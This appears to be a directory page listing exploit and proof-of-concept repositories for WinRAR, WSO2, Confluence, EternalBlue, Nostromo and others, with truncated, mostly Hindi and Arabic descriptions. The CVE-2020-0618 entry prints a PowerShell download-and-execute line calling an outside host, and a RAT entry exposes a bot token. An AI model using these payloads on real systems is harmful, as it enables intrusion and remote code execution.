CVE-2026-104722

The Listdom: AI-powered Business Directory with Classifieds Ads Listings plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the LSDMenusIXCSV::import function in all versions up to, and including, 6.1.2 This makes it possible for authenticate...

CVE-2023-38831_ReverseShell_Winrar-RCE

WINRAR की CVE-2023-38831 भेद्यता का शोषण करके REVERSE SHELL प्राप्त करना इस रिपॉजिटरी में हम winrar की CVE-2023-38831 भेद्यता का शोषण करने जा रहे हैं ताकि हम Windows पीड़ित मशीन से Kali Linux हमलावर मशीन पर reverse shell प्राप्त कर सकें। प्रारंभिक चरण हम इस रिपॉजिटरी की सामग्री डाउनलोड करते हैं:...

wso2-rce-cve-2022-29464

CVE-2022-29464 استغلال WSO2 RCE CVE-2022-29464. التفاصيل CVE-2022-29464 هو ثغرة حرجة في WSO2 اكتشفها Orange Tsai. الثغرة هي رفع ملفات عشوائي غير مقيد وغير مصادق عليه، مما يسمح للمهاجمين غير المصادق عليهم بالحصول على RCE على خوادم WSO2 عبر رفع ملفات JSP خبيثة. المسار القابل للاستغلال هو /fileuploa...

omigod-lab

Readme 9.6 CVSS वाले Open Management Infrastructure सॉफ्टवेयर CVE-2021-38647 में अप्रमाणित रिमोट कोड निष्पादन RCE भेद्यता के बारे में जानने के लिए एक शैक्षिक लैब VM। प्रकटीकरण मूल शोध: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure OMI स्रोत कोड:...

confluence-ognl-rce

CVE-2022-26134 - Atlassian Confluence OGNL RCE यह स्क्रिप्ट Confluence Data Center और Server में OGNL injection exploit primitive के माध्यम से unauthenticated remote code execution के ऊपर एक wrapper है CVE-2022-26314। Vendor advisory मूल रूप से PoC jbaines-r7/throughthewire से प्रेरित। सुविधा के...

CVE-2023-4542

poc D-LINK DAR-8000-10 ऑनलाइन व्यवहार ऑडिट गेटवे में rce कमजोरियां हैं आधिकारिक वेबसाइट: http://www.dlink.com.cn/ संस्करण: D-LINK DAR-8000-10 लॉगिन पृष्ठ देखें। URL बनाएं:...

CVE-2019-16278

CVE-2019-16278 CVE-2019-16278Nostromo httpd कमांड निष्पादन ➜ Downloads python nostromo.py 114.114.114.114 8080 pwd /bin ➜ Downloads python nostromo.py 114.114.114.114 8080 id uid=65534 gid=65534 ➜ Downloads python nostromo.py 114.114.114.114 8080 "ls -al" drwxr-xr-x 2 0 0 0 Apr 12 2013 . drwxr-xr...

CVE-2020-0618

CVE-2020-0618 Melissa https://status.melissa.com/ReportServerCUSTOMERSQL/Pages/ReportViewer.aspx - लिंक में भेद्यता है $command = 'New-Object Net.WebClient.Proxy.Credentials=Net.CredentialCache::DefaultNetworkCredentials;iwr"https://qoigyuef2a4z1a7rsir6lvi3eukl8a.burpcollaborator.net/In"|iex'...

CVE-2025-50165-x64-Exploit

CVE-2025-50165 विंडोज ग्राफिक्स घटक RCE x64 दुर्भावनापूर्ण JPEG के माध्यम से महत्वपूर्ण रिमोट कोड निष्पादन – विंडोज 11 24H2 अनपैच्ड CVSS 9.8 – कोई विशेषाधिकार नहीं, कोई इंटरैक्शन आवश्यक नहीं CVE-2025-50165 - windowscodecs.dll untrusted pointer dereference Discovered by Zscaler ThreatLabz Patched:...

CVE-2022-21445-for-12.2.1.3.0-Weblogic

सिंहावलोकन CVE-2022-21445 CVSS स्कोर 9.8, यह कमजोरी अविश्वसनीय डेटा का डिक्रिप्शन है, जो ADF Faces घटक में मौजूद है, और हैकर्स द्वारा बिना प्रमाणीकरण pre-authentication के दूर से RCE निष्पादित करने के लिए शोषित किया जा सकता है। उपरोक्त कमजोरी को दो साइबर सुरक्षा विशेषज्ञों द्वारा खोजा गया था: VNG...

Windows-Python-RAT

Windows-Python-RAT माइक्रोसॉफ्ट विंडोज रिमोट एडमिनिस्ट्रेटर टूल भाषा: Python कोडर: Sir.4m1R डेवलपर: Ahoora Mansouri द्वारा संचालित: The404Hacking डिजिटल सुरक्षा अनुसंधान समूह प्रारंभिक Windows-Python-RAT परीक्षण के लिए रोबोट Bot ID: @WPRATBot Token: 586363223:AAHSLdPnAE60avsT25lHjzRahtw6PhxDY बॉट...

Peyara-FileUpload

عنوان الاستغلال: Peyara Remote Mouse v1.0.1 رفع ملفات تعسفي دون مصادقة التاريخ: 2025-01-06 مؤلف الاستغلال: tmrswrr رابط البرنامج: https://peyara-remote-mouse.vercel.app/ المنصة: Windows الإصدار: v1.0.1 تم اختباره على: Windows 10 USAGE : python3 combinedscript.py إنشاء ملف LNK خبيث evil.lnk...

cve-2022-26809

CVE-2022-26809 CVE-2022-26809 के प्रयासों और सफल शोषण का पता लगाता है, जो DCE/RPC पर एक दूरस्थ कोड निष्पादन भेद्यता है। इस पैकेज का विस्तार से वर्णन इस Corelight ब्लॉगपोस्ट में किया गया है। यह पैकेज निम्नलिखित सूचनाएँ उत्पन्न करता है: CVE202226809::ExploitAttempt, और CVE202226809::ExploitSuccess...

opendcim-exploit

openDCIM - कॉन्फ़िग पॉइज़निंग के माध्यम से SQLi से RCE openDCIM के install.php LDAP कॉन्फ़िगरेशन फ़ॉर्म को लक्षित करने वाली रिमोट कोड निष्पादन श्रृंखला। VulnCheck go-exploit फ़्रेमवर्क पर आधारित। भेद्यता श्रृंखला | CVE| CWE| विवरण ---|---|---|--- 1| CVE-2026-28515| CWE-862| install.php LDAP...

CVE-2017-0144---EtneralBlue-MS17-010-Remote-Code-Execution

CVE-2017-0144---EtneralBlue-MS17-010-Remote-Code-Execution हमलावर मशीन Kali Linux है और लक्ष्य मशीन Windows Server 2008 R2 है। Windows 2008 R2 सर्वर को दिए गए https://drive.google.com/drive/folders/146ViggeQl0pSpzotcAhpd3h9UP7fFOxJ?usp=sharing से अपने वर्चुअल बॉक्स में आयात करें और नेटवर्क को ब्र...

CVE-2021-30461

CVE-2021-30461 VOIP RCE तकनीकी विवरण https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/ YouTube : https://www.youtube.com/watch?v=9VBI6Lq-Rw हमें फॉलो करें Vulnmachines YouTube Twitter Facebook LinkedIn...

libreofficeExploit1

एक एक्सप्लॉइट उत्पन्न करने का मूल मैनुअल इस प्रविष्टि में देखा जाएगा कि किसी प्रोग्राम की सरल विफलता का उपयोग करके उस प्रोग्राम का उपयोग करने वाले सिस्टम में पिछला दरवाजा कैसे खोला जाए। प्रश्न में विफलता CVE-2018-16858 द्वारा परिभाषित की गई है, जो LibreOffice सुइट से संबंधित है। यह विफलता, एक विश...

CVE-2022-22947-POC

Spring-Cloud-Gateway-CVE-2022-22947 Spring Cloud Gateway रिमोट कोड निष्पादन भेद्यता की सुरक्षा सलाह। यह भेद्यता तब उत्पन्न होती है जब Spring Cloud Gateway Gateway Actuator एंडपॉइंट को सक्षम और एक्सपोज़ करता है, तो Spring Cloud Gateway का उपयोग करने वाले एप्लिकेशन कोड इंजेक्शन हमलों के प्रति...

CVE-2023-28343

CVE-2023-28343 Altenergy Power System Control Software settimezone RCE भेद्यता CVE-2023-28343 चीनी नाम: Altenergy Power System Control Software settimezone 远程命令执行漏洞（CVE-2023-28343） CVSS कोर:9.0 विवरण : Altenergy Power System Control Software, Altenergy Power System का एक माइक्रोइन्वर्टर नियंत्रण...

CVE-2024-3105-PoC

CVE-2024-3105 PoC वुडी कोड स्निपेट्स – इन्सर्ट हेडर फुटर कोड, AdSense Ads प्लगइन WordPress के लिए 2.5.0 तक और इसे शामिल करते हुए सभी संस्करणों में 'insertphp' शॉर्टकोड के माध्यम से रिमोट कोड निष्पादन के लिए संवेदनशील है। ऐसा इसलिए है क्योंकि प्लगइन इस कार्यक्षमता के उपयोग को उच्च-स्तरीय अधिकृत...